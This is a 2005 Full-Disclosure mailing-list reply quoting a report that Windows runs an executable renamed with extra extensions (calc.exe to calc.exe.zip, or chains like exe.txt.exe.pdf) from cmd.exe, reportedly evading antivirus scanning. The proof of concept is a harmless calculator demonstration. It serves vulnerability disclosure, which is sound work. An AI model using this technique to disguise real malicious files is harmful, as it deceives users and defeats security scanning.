full-disclosure - another filename bypass vulnerability

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Date: Wed Nov 16 12:34:11 2005
From: 6ackpace at gmail.com (6ackpace)
Subject: another filename bypass vulnerability - from
	cmd.exe

It also work for windowsXp 2 and with other ext .
 i.e exe.txt.exe.pdf ......

 On 11/16/05, Aditya Deshmukh <aditya.deshmukh@...ine.gateway.strangled.net>
wrote:
>
> Was doing some testing [xfocus-AD-051115]
>
> Ie Multiple antivirus failed to scan
> malicous filename bypass vulnerability
>
> The system is windows 2000 sp4 srp5 with
> all other patches upto date.
>
> At the command prompt cmd.exe execute
> the following with the results.
>
> I copy and paste from cmd.exe
> -------------------------------------------------------------------
>
> E:\TEMP>cd test
>
> E:\TEMP\test>copy %windir%\system32\calc.exe
> 1 file(s) copied.
>
> E:\TEMP\test>ren calc.exe calc.exe.zip
>
> E:\TEMP\test>dir /b
> calc.exe.zip
>
> E:\TEMP\test>calc.exe.zip
>
> E:\TEMP\test>
> -------------------------------------------------------------------
> This bring up the calc.exe on the screen.
>
>
>
>
>
>
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